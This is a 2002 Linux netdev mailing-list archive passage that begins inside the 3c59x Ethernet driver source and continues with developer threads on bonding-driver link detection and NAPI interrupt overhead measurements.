vp->rx_skbuff[entry]->tail, pkt_len); rx_copy++; } else { /* Pass up the skbuff already on the Rx ring. */ skb = vp->rx_skbuff[entry]; vp->rx_skbuff[entry] = NULL; skb_put(skb, pkt_len); pci_unmap_single(vp->pdev, dma, PKT_BUF_SZ, PCI_DMA_FROMDEVICE); rx_nocopy++; } skb->protocol = eth_type_trans(skb, dev); { /* Use hardware checksum info. */ int csum_bits = rx_status & 0xee000000; if (csum_bits && (csum_bits == (IPChksumValid | TCPChksumValid) || csum_bits == (IPChksumValid | UDPChksumValid))) { skb->ip_summed = CHECKSUM_UNNECESSARY; rx_csumhits++; } } netif_rx(skb); dev->last_rx = jiffies; vp->stats.rx_packets++; } entry = (++vp->cur_rx) % RX_RING_SIZE; } /* Refill the Rx ring buffers. */ for (; vp->dirty_rx < vp->cur_rx; vp->dirty_rx++) { struct sk_buff *skb; entry = vp->dirty_rx % RX_RING_SIZE; if (vp->rx_skbuff[entry] == NULL) { skb = dev_alloc_skb(PKT_BUF_SZ); if (skb == NULL) break; /* Bad news! */ skb->dev = dev; /* Mark as being used by this device. */ skb_reserve(skb, 2); /* Align IP on 16 byte boundaries */ vp->rx_ring[entry].addr = cpu_to_le32(pci_map_single(vp->pdev, skb->tail, PKT_BUF_SZ, PCI_DMA_FROMDEVICE)); vp->rx_skbuff[entry] = skb; } vp->rx_ring[entry].status = 0; /* Clear complete bit. */ outw(UpUnstall, ioaddr + EL3_CMD); } return 0; } static void vortex_down(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; netif_stop_queue (dev); del_timer(&vp->timer); /* Turn off statistics ASAP. We update vp->stats below. */ outw(StatsDisable, ioaddr + EL3_CMD); /* Disable the receiver and transmitter. */ outw(RxDisable, ioaddr + EL3_CMD); outw(TxDisable, ioaddr + EL3_CMD); if (dev->if_port == XCVR_10base2) /* Turn off thinnet power. Green! */ outw(StopCoax, ioaddr + EL3_CMD); outw(SetIntrEnb | 0x0000, ioaddr + EL3_CMD); update_stats(ioaddr, dev); if (vp->full_bus_master_rx) outl(0, ioaddr + UpListPtr); if (vp->full_bus_master_tx) outl(0, ioaddr + DownListPtr); if (vp->capabilities & CapPwrMgmt) acpi_set_WOL(dev); } static int vortex_close(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; int i; if (netif_device_present(dev)) vortex_down(dev); if (vortex_debug > 1) { printk(KERN_DEBUG"%s: vortex_close() status %4.4x, Tx status %2.2x.\n", dev->name, inw(ioaddr + EL3_STATUS), inb(ioaddr + TxStatus)); printk(KERN_DEBUG "%s: vortex close stats: rx_nocopy %d rx_copy %d" " tx_queued %d Rx pre-checksummed %d.\n", dev->name, rx_nocopy, rx_copy, queued_packet, rx_csumhits); } free_irq(dev->irq, dev); if (vp->full_bus_master_rx) { /* Free Boomerang bus master Rx buffers. */ for (i = 0; i < RX_RING_SIZE; i++) if (vp->rx_skbuff[i]) { pci_unmap_single( vp->pdev, le32_to_cpu(vp->rx_ring[i].addr), PKT_BUF_SZ, PCI_DMA_FROMDEVICE); dev_kfree_skb(vp->rx_skbuff[i]); vp->rx_skbuff[i] = 0; } } if (vp->full_bus_master_tx) { /* Free Boomerang bus master Tx buffers. */ for (i = 0; i < TX_RING_SIZE; i++) if (vp->tx_skbuff[i]) { struct sk_buff *skb = vp->tx_skbuff[i]; pci_unmap_single(vp->pdev, le32_to_cpu(vp->tx_ring[i].addr), skb->len, PCI_DMA_TODEVICE); dev_kfree_skb(skb); vp->tx_skbuff[i] = 0; } } MOD_DEC_USE_COUNT; vp->open = 0; return 0; } static void dump_tx_ring(struct net_device *dev) { if (vortex_debug > 0) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; if (vp->full_bus_master_tx) { int i; int stalled = inl(ioaddr + PktStatus) & 0x04; /* Possible racy. But it's only debug stuff */ wait_for_completion(dev, DownStall); printk(KERN_DEBUG " Flags; bus-master %d, full %d; dirty %d(%d) " "current %d(%d).\n", vp->full_bus_master_tx, vp->tx_full, vp->dirty_tx, vp->dirty_tx % TX_RING_SIZE, vp->cur_tx, vp->cur_tx % TX_RING_SIZE); printk(KERN_DEBUG " Transmit list %8.8x vs. %p.\n", inl(ioaddr + DownListPtr), &vp->tx_ring[vp->dirty_tx % TX_RING_SIZE]); for (i = 0; i < TX_RING_SIZE; i++) { printk(KERN_DEBUG " %d: @%p length %8.8x status %8.8x\n", i, &vp->tx_ring[i], le32_to_cpu(vp->tx_ring[i].length), le32_to_cpu(vp->tx_ring[i].status)); } if (!stalled) outw(DownUnstall, ioaddr + EL3_CMD); } } } static struct net_device_stats *vortex_get_stats(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; unsigned long flags; if (netif_device_present(dev)) { /* AKPM: Used to be netif_running */ spin_lock_irqsave (&vp->lock, flags); update_stats(dev->base_addr, dev); spin_unlock_irqrestore (&vp->lock, flags); } return &vp->stats; } /* Update statistics. Unlike with the EL3 we need not worry about interrupts changing the window setting from underneath us, but we must still guard against a race condition with a StatsUpdate interrupt updating the table. This is done by checking that the ASM (!) code generated uses atomic updates with '+='. */ static void update_stats(long ioaddr, struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; int old_window = inw(ioaddr + EL3_CMD); if (old_window == 0xffff) /* Chip suspended or ejected. */ return; /* Unlike the 3c5x9 we need not turn off stats updates while reading. */ /* Switch to the stats window, and read everything. */ EL3WINDOW(6); vp->stats.tx_carrier_errors += inb(ioaddr + 0); vp->stats.tx_heartbeat_errors += inb(ioaddr + 1); /* Multiple collisions. */ inb(ioaddr + 2); vp->stats.collisions += inb(ioaddr + 3); vp->stats.tx_window_errors += inb(ioaddr + 4); vp->stats.rx_fifo_errors += inb(ioaddr + 5); vp->stats.tx_packets += inb(ioaddr + 6); vp->stats.tx_packets += (inb(ioaddr + 9)&0x30) << 4; /* Rx packets */ inb(ioaddr + 7); /* Must read to clear */ /* Tx deferrals */ inb(ioaddr + 8); /* Don't bother with register 9, an extension of registers 6&7. If we do use the 6&7 values the atomic update assumption above is invalid. */ vp->stats.rx_bytes += inw(ioaddr + 10); vp->stats.tx_bytes += inw(ioaddr + 12); /* New: On the Vortex we must also clear the BadSSD counter. */ EL3WINDOW(4); inb(ioaddr + 12); { u8 up = inb(ioaddr + 13); vp->stats.rx_bytes += (up & 0x0f) << 16; vp->stats.tx_bytes += (up & 0xf0) << 12; } /* We change back to window 7 (not 1) with the Vortex. */ /* AKPM: the previous comment is obsolete - we switch back to the old window */ EL3WINDOW(old_window >> 13); return; } static int vortex_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; u16 *data = (u16 *)&rq->ifr_data; int phy = vp->phys[0] & 0x1f; int retval; unsigned long flags; spin_lock_irqsave(&vp->lock, flags); switch(cmd) { case SIOCDEVPRIVATE: /* Get the address of the PHY in use. */ data[0] = phy; case SIOCDEVPRIVATE+1: /* Read the specified MII register. */ EL3WINDOW(4); data[3] = mdio_read(ioaddr, data[0] & 0x1f, data[1] & 0x1f); retval = 0; break; case SIOCDEVPRIVATE+2: /* Write the specified MII register */ if (!capable(CAP_NET_ADMIN)) { retval = -EPERM; } else { EL3WINDOW(4); mdio_write(ioaddr, data[0] & 0x1f, data[1] & 0x1f, data[2]); retval = 0; } break; default: retval = -EOPNOTSUPP; break; } spin_unlock_irqrestore(&vp->lock, flags); return retval; } /* Pre-Cyclone chips have no documented multicast filter, so the only multicast setting is to receive all multicast frames. At least the chip has a very clean way to set the mode, unlike many others. */ static void set_rx_mode(struct net_device *dev) { long ioaddr = dev->base_addr; int new_mode; if (dev->flags & IFF_PROMISC) { if (vortex_debug > 0) printk(KERN_NOTICE "%s: Setting promiscuous mode.\n", dev->name); new_mode = SetRxFilter|RxStation|RxMulticast|RxBroadcast|RxProm; } else if ((dev->mc_list) || (dev->flags & IFF_ALLMULTI)) { new_mode = SetRxFilter|RxStation|RxMulticast|RxBroadcast; } else new_mode = SetRxFilter | RxStation | RxBroadcast; outw(new_mode, ioaddr + EL3_CMD); } /* MII transceiver control section. Read and write the MII registers using software-generated serial MDIO protocol. See the MII specifications or DP83840A data sheet for details. */ /* The maximum data clock rate is 2.5 Mhz. The minimum timing is usually met by back-to-back PCI I/O cycles, but we insert a delay to avoid "overclocking" issues. */ #define mdio_delay() inl(mdio_addr) #define MDIO_SHIFT_CLK 0x01 #define MDIO_DIR_WRITE 0x04 #define MDIO_DATA_WRITE0 (0x00 | MDIO_DIR_WRITE) #define MDIO_DATA_WRITE1 (0x02 | MDIO_DIR_WRITE) #define MDIO_DATA_READ 0x02 #define MDIO_ENB_IN 0x00 /* Generate the preamble required for initial synchronization and a few older transceivers. */ static void mdio_sync(long ioaddr, int bits) { long mdio_addr = ioaddr + Wn4_PhysicalMgmt; /* Establish sync by sending at least 32 logic ones. */ while (-- bits >= 0) { outw(MDIO_DATA_WRITE1, mdio_addr); mdio_delay(); outw(MDIO_DATA_WRITE1 | MDIO_SHIFT_CLK, mdio_addr); mdio_delay(); } } static int mdio_read(long ioaddr, int phy_id, int location) { int i; int read_cmd = (0xf6 << 10) | (phy_id << 5) | location; unsigned int retval = 0; long mdio_addr = ioaddr + Wn4_PhysicalMgmt; if (mii_preamble_required) mdio_sync(ioaddr, 32); /* Shift the read command bits out. */ for (i = 14; i >= 0; i--) { int dataval = (read_cmd&(1< 0; i--) { outw(MDIO_ENB_IN, mdio_addr); mdio_delay(); retval = (retval << 1) | ((inw(mdio_addr) & MDIO_DATA_READ) ? 1 : 0); outw(MDIO_ENB_IN | MDIO_SHIFT_CLK, mdio_addr); mdio_delay(); } return retval & 0x20000 ? 0xffff : retval>>1 & 0xffff; } static void mdio_write(long ioaddr, int phy_id, int location, int value) { int write_cmd = 0x50020000 | (phy_id << 23) | (location << 18) | value; long mdio_addr = ioaddr + Wn4_PhysicalMgmt; int i; if (mii_preamble_required) mdio_sync(ioaddr, 32); /* Shift the command bits out. */ for (i = 31; i >= 0; i--) { int dataval = (write_cmd&(1<= 0; i--) { outw(MDIO_ENB_IN, mdio_addr); mdio_delay(); outw(MDIO_ENB_IN | MDIO_SHIFT_CLK, mdio_addr); mdio_delay(); } return; } /* ACPI: Advanced Configuration and Power Interface. */ /* Set Wake-On-LAN mode and put the board into D3 (power-down) state. */ static void acpi_set_WOL(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; /* AKPM: This kills the 905 */ if (vortex_debug > 0) { printk(KERN_INFO PFX "Wake-on-LAN functions disabled\n"); } return; /* Power up on: 1==Downloaded Filter, 2==Magic Packets, 4==Link Status. */ EL3WINDOW(7); outw(2, ioaddr + 0x0c); /* The RxFilter must accept the WOL frames. */ outw(SetRxFilter|RxStation|RxMulticast|RxBroadcast, ioaddr + EL3_CMD); outw(RxEnable, ioaddr + EL3_CMD); /* Change the power state to D3; RxEnable doesn't take effect. */ pci_write_config_word(vp->pdev, 0xe0, 0x8103); } static void __devexit vortex_remove_one (struct pci_dev *pdev) { struct net_device *dev = pdev->driver_data; struct vortex_private *vp; if (!dev) { printk("vortex_remove_one called for EISA device!\n"); BUG(); } vp = (void *)(dev->priv); /* No need to check MOD_IN_USE, as sys_delete_module() checks. */ /* AKPM: FIXME: we should have * if (vp->cb_fn_base) iounmap(vp->cb_fn_base); * here */ unregister_netdev(dev); outw(TotalReset, dev->base_addr + EL3_CMD); release_region(dev->base_addr, vp->io_size); kfree(dev); } static struct pci_driver vortex_driver = { name: "3c575_cb", probe: vortex_init_one, remove: vortex_remove_one, suspend: vortex_suspend, resume: vortex_resume, id_table: vortex_pci_tbl, }; static int vortex_have_pci = 0; static int vortex_have_eisa = 0; static int __init vortex_init (void) { int rc; rc = pci_module_init (&vortex_driver); if (rc < 0) goto out; if (rc >= 0) /* AKPM: had "> 0" */ vortex_have_pci = 1; rc = vortex_eisa_init (); if (rc < 0) goto out; if (rc > 0) vortex_have_eisa = 1; out: return rc; } static void __exit vortex_eisa_cleanup (void) { struct net_device *dev, *tmp; struct vortex_private *vp; long ioaddr; dev = root_vortex_eisa_dev; while (dev) { vp = dev->priv; ioaddr = dev->base_addr; unregister_netdev (dev); outw (TotalReset, ioaddr + EL3_CMD); release_region (ioaddr, VORTEX_TOTAL_SIZE); tmp = dev; dev = vp->next_module; kfree (tmp); } } static void __exit vortex_cleanup (void) { if (vortex_have_pci) pci_unregister_driver (&vortex_driver); if (vortex_have_eisa) vortex_eisa_cleanup (); } module_init(vortex_init); module_exit(vortex_cleanup); /* * Local variables: * compile-command: "gcc -DMODULE -D__KERNEL__ -Wall -Wstrict-prototypes -O6 -c 3c59x.c `[ -f /usr/include/linux/modversions.h ] && echo -DMODVERSIONS`" * cardbus-compile-command: "gcc -DCONFIG_HOTPLUG -DMODULE -D__KERNEL__ -Wall -Wstrict-prototypes -O6 -c 3c59x.c -o 3c575_cb.o -I/usr/src/linux/pcmcia-cs-3.0.9/include/" * c-indent-level: 4 * c-basic-offset: 4 * tab-width: 4 * End: */ --------------E037F6CAA8E998053B25BA1E-- From Andrew.Morton@digeo.com Tue Sep 17 13:25:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:25:22 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HKPKtG025444 for ; Tue, 17 Sep 2002 13:25:20 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id NAA28817 for ; Tue, 17 Sep 2002 13:30:15 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091713341712177 ; Tue, 17 Sep 2002 13:34:17 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 13:30:15 -0700 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 13:30:14 -0700 Message-ID: <3D8790D6.68927887@digeo.com> Date: Tue, 17 Sep 2002 13:30:14 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre4 i686) X-Accept-Language: en MIME-Version: 1.0 To: Jeff Garzik CC: "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: <72A87F7160C0994D8C5A36E2FDC227F502B3E70D@txnexc01.americas.cpqcorp.net> <3D878675.3000403@mandrakesoft.com> <3D878841.EB580DE9@digeo.com> <3D878C56.2070400@mandrakesoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Sep 2002 20:30:14.0040 (UTC) FILETIME=[06FA6980:01C25E89] X-archive-position: 229 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev (bonding-devel didn't like the size of the attachment. It's at http://www.zip.com.au/~akpm/3c59x.c-netif) Jeff Garzik wrote: > > Andrew Morton wrote: > > Jeff Garzik wrote: > > > >>... > >>Also, a further question: do you have access to the slave struct > >>net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all > >>that ioctl calling if it returns non-zero. > > > > > > Make that "avoid all that ioctl calling from interrupt context", which > > is a bug. Of the box-killing variety ;) > > Indeed. /me looks at the bond_check_dev_link callers more closely and > shudders. > > That wants fixing... > > Note that netif_carrier_ok() can indeed be checked in interrupt context. > And if someone wants to send me patches converting more drivers to use > netif_carrier_{on,off}, I would be very happy :) That would be best. I'm so slack. I received the below two years ago; Nelson has added netif_carrier_foo support to 3c59x.c. As Jeff says: patches solicited. -------- Original Message -------- Subject: Re: netlink Date: Wed, 14 Jun 2000 11:19:33 +0800 (SST) From: Nelson To: Andrew Morton References: <394610FF.4052CEAA@uow.edu.au> hi Andrew, The modified 3c59x.c is attached. for your easy reference, these lines in the attached driver was modified: 69-72: notes on what are added 121-123: defined the time to expiry of the vertex_timer as TX_EXPIRE. i have set the value as 1*HZ. the original value should be 60*HZ. you may set to any value you feel is good ;p you r rite abt the 1 sec part since reading the MII management registers is time consuming. 1122: used TX_EXPIRE instead 1335, 1399, 1428: set next_tick to TX_EXPIRE 1351: added calls to netif_carrier_on() 1356: added calls to netif_carrier_off() 1367-1371: added checking of link state do let me know if there are any discrepencies. thanx. From fubar@us.ibm.com Tue Sep 17 13:33:05 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:33:09 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HKX3tG025835 for ; Tue, 17 Sep 2002 13:33:04 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8HKbfEG202420; Tue, 17 Sep 2002 16:37:41 -0400 Received: from d03nm035.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by northrelay02.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8HKba4I070688; Tue, 17 Sep 2002 16:37:36 -0400 From: "Jay Vosburgh" Importance: Normal Sensitivity: Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload To: Jeff Garzik Cc: Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: Date: Tue, 17 Sep 2002 13:37:35 -0700 X-MIMETrack: Serialize by Router on D03NM035/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/17/2002 02:37:39 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 230 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Ok. I'll whip up a patch either this afternoon or tomorrow (gotta download 2.4.20-pre7, no broadband here) that de-uglifies the badness around magic number 4 and includes one of the ioctl in a context patches (which may not fix everything properly, but should be better than what's there now). I'm not sure about throwing in a test of netif_carrier_ok() just for good measure. It looks like if the driver does not support netif_carrier_xxx, then the default will be carrier on (because the bit is clear in dev->state). So, we can ask, and if it tells us the carrier is down, that's probably reliable, but if it says carrier is up, that may or may not be true. Or am I missing an initialization in there somewhere? And, actually, the bonding driver is already using netif_carrier_ok() as part of the IS_UP() macro defined in bonding.c. It's just not used during the MII test. -J Jeff Garzik @lists.sourceforge.net on 09/17/2002 01:11:02 PM Sent by: bonding-devel-admin@lists.sourceforge.net To: Andrew Morton cc: "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload Andrew Morton wrote: > Jeff Garzik wrote: > >>... >>Also, a further question: do you have access to the slave struct >>net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all >>that ioctl calling if it returns non-zero. > > > Make that "avoid all that ioctl calling from interrupt context", which > is a bug. Of the box-killing variety ;) Indeed. /me looks at the bond_check_dev_link callers more closely and shudders. That wants fixing... Note that netif_carrier_ok() can indeed be checked in interrupt context. And if someone wants to send me patches converting more drivers to use netif_carrier_{on,off}, I would be very happy :) ------------------------------------------------------- This SF.NET email is sponsored by: AMD - Your access to the experts on Hammer Technology! Open Source & Linux Developers, register now for the AMD Developer Symposium. Code: EX8664 http://www.developwithamd.com/developerlab _______________________________________________ Bonding-devel mailing list Bonding-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/bonding-devel From jgarzik@mandrakesoft.com Tue Sep 17 13:40:05 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:40:10 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HKe4tG026234 for ; Tue, 17 Sep 2002 13:40:05 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rOIm-0004hX-00; Tue, 17 Sep 2002 20:46:28 +0100 Message-ID: <3D878675.3000403@mandrakesoft.com> Date: Tue, 17 Sep 2002 15:45:57 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Cureington, Tony" CC: Andrew Morton , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPU load References: <72A87F7160C0994D8C5A36E2FDC227F502B3E70D@txnexc01.americas.cpqcorp.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 231 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Cureington, Tony wrote: > /* Yes, the mii is overlaid on the ifreq.ifr_ifru */ > mii = (struct mii_ioctl_data *)&ifr.ifr_data; > if (ioctl(dev, &ifr, SIOCGMIIPHY) != 0) { > return MII_LINK_READY; /* can't tell */ > } > > mii->reg_num = 1; > if (ioctl(dev, &ifr, SIOCGMIIREG) == 0) { > /* > * mii->val_out contains MII reg 1, BMSR > * 0x0004 means link established > */ > return mii->val_out; > } Speaking of bonding, I wonder about the above code -- why do you return mii->val_out directly? AFAICS you should test BMSR_LSTATUS (a.k.a. 0x0004) and return MII_LINK_READY or zero -- not a bunch of random bits. The status word can certainly be non-zero even when link is absent. Also, a further question: do you have access to the slave struct net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all that ioctl calling if it returns non-zero. Jeff From Andrew.Morton@digeo.com Tue Sep 17 14:30:15 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 14:30:31 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HLUDtG027084 for ; Tue, 17 Sep 2002 14:30:14 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id OAA01547 for ; Tue, 17 Sep 2002 14:35:08 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091714391131459 for ; Tue, 17 Sep 2002 14:39:11 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 14:35:08 -0700 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 14:35:07 -0700 Message-ID: <3D87A00B.F78DE643@digeo.com> Date: Tue, 17 Sep 2002 14:35:07 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre4 i686) X-Accept-Language: en MIME-Version: 1.0 To: "netdev@oss.sgi.com" Subject: [Fwd: Info: NAPI performance at "low" loads] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Sep 2002 21:35:07.0615 (UTC) FILETIME=[17BACEF0:01C25E92] X-archive-position: 232 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev Manfred typo'ed the email address... -------- Original Message -------- Subject: Info: NAPI performance at "low" loads Date: Tue, 17 Sep 2002 21:53:03 +0200 From: Manfred Spraul To: linux-netdev@oss.sgi.com, linux-kernel@vger.kernel.org NAPI network drivers mask the rx interrupts in their interrupt handler, and reenable them in dev->poll(). In the worst case, that happens for every packet. I've tried to measure the overhead of that operation. The cpu time needed to recieve 50k packets/sec: without NAPI: 53.7 % with NAPI: 59.9 % 50k packets/sec is the limit for NAPI, at higher packet rates the forced mitigation kicks in and every interrupt recieves more than one packet. The cpu time was measured by busy-looping in user space, the numbers should be accurate to less than 1 %. Summary: with my setup, the overhead is around 11 %. Could someone try to reproduce my results? Sender: # sendpkt 1 <10..50, go get a good packet rate> Receiver: $ loadtest Please disable any interrupt mitigation features of your nic, otherwise the mitigation will dramatically change the needed cpu time. The sender sends ICMP echo reply packets, evenly spaced by "memset(,,n*512)" between the syscalls. The cpu load was measured with a user space app that calls "memset(,,16384)" in a tight loop, and reports the number of loops per second. I've used a patched tulip driver, the current NAPI driver contains a loop that severely slows down the nic under such loads. The patch and my test apps are at http://www.q-ag.de/~manfred/loadtest hardware setup: Duron 700, VIA KT 133 no IO APIC, i.e. slow 8259 XT PIC. Accton tulip clone, ADMtek comet. crossover cable Sender: Celeron 1.13 GHz, rtl8139 -- Manfred - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From Andrew.Morton@digeo.com Tue Sep 17 14:40:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 14:40:22 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HLeItG027650 for ; Tue, 17 Sep 2002 14:40:18 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id OAA01818 for ; Tue, 17 Sep 2002 14:45:09 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091714491209543 ; Tue, 17 Sep 2002 14:49:12 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 14:45:09 -0700 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 14:45:08 -0700 Message-ID: <3D87A264.8D5F3AD2@digeo.com> Date: Tue, 17 Sep 2002 14:45:08 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre4 i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: manfred@colorfullife.com, "netdev@oss.sgi.com" , linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D879F59.6BDF9443@digeo.com> <20020917.142635.114214508.davem@redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 17 Sep 2002 21:45:08.0045 (UTC) FILETIME=[7D9D27D0:01C25E93] X-archive-position: 233 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev "David S. Miller" wrote: > > From: Andrew Morton > Date: Tue, 17 Sep 2002 14:32:09 -0700 > > There is a similar background loadtester at > http://www.zip.com.au/~akpm/linux/#zc . > > It's fairly fancy - I wrote it for measuring networking > efficiency. It doesn't seem to have any PCisms.... > > Thanks I'll check it out, but meanwhile I hacked up sparc > specific assembler for manfred's code :-) > > (I measured similar regression using an ancient NAPIfied > 3c59x a long time ago). > > Well, it is due to the same problems manfred saw initially, > namely just a crappy or buggy NAPI driver implementation. :-) It was due to additional inl()'s and outl()'s in the driver fastpath. Testcase was netperf Tx and Rx. Just TCP over 100bT. AFAIK, this overhead is intrinsic to NAPI. Not to say that its costs outweigh its benefits, but it's just there. If someone wants to point me at all the bits and pieces to get a NAPIfied 3c59x working on 2.5.current I'll retest, and generate some instruction-level oprofiles. From davem@redhat.com Tue Sep 17 14:43:53 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 14:43:55 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HLhqtG028004 for ; Tue, 17 Sep 2002 14:43:52 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id OAA16752; Tue, 17 Sep 2002 14:39:47 -0700 Date: Tue, 17 Sep 2002 14:39:47 -0700 (PDT) Message-Id: <20020917.143947.07361352.davem@redhat.com> To: akpm@digeo.com Cc: manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads From: "David S. Miller" In-Reply-To: <3D87A264.8D5F3AD2@digeo.com> References: <3D879F59.6BDF9443@digeo.com> <20020917.142635.114214508.davem@redhat.com> <3D87A264.8D5F3AD2@digeo.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 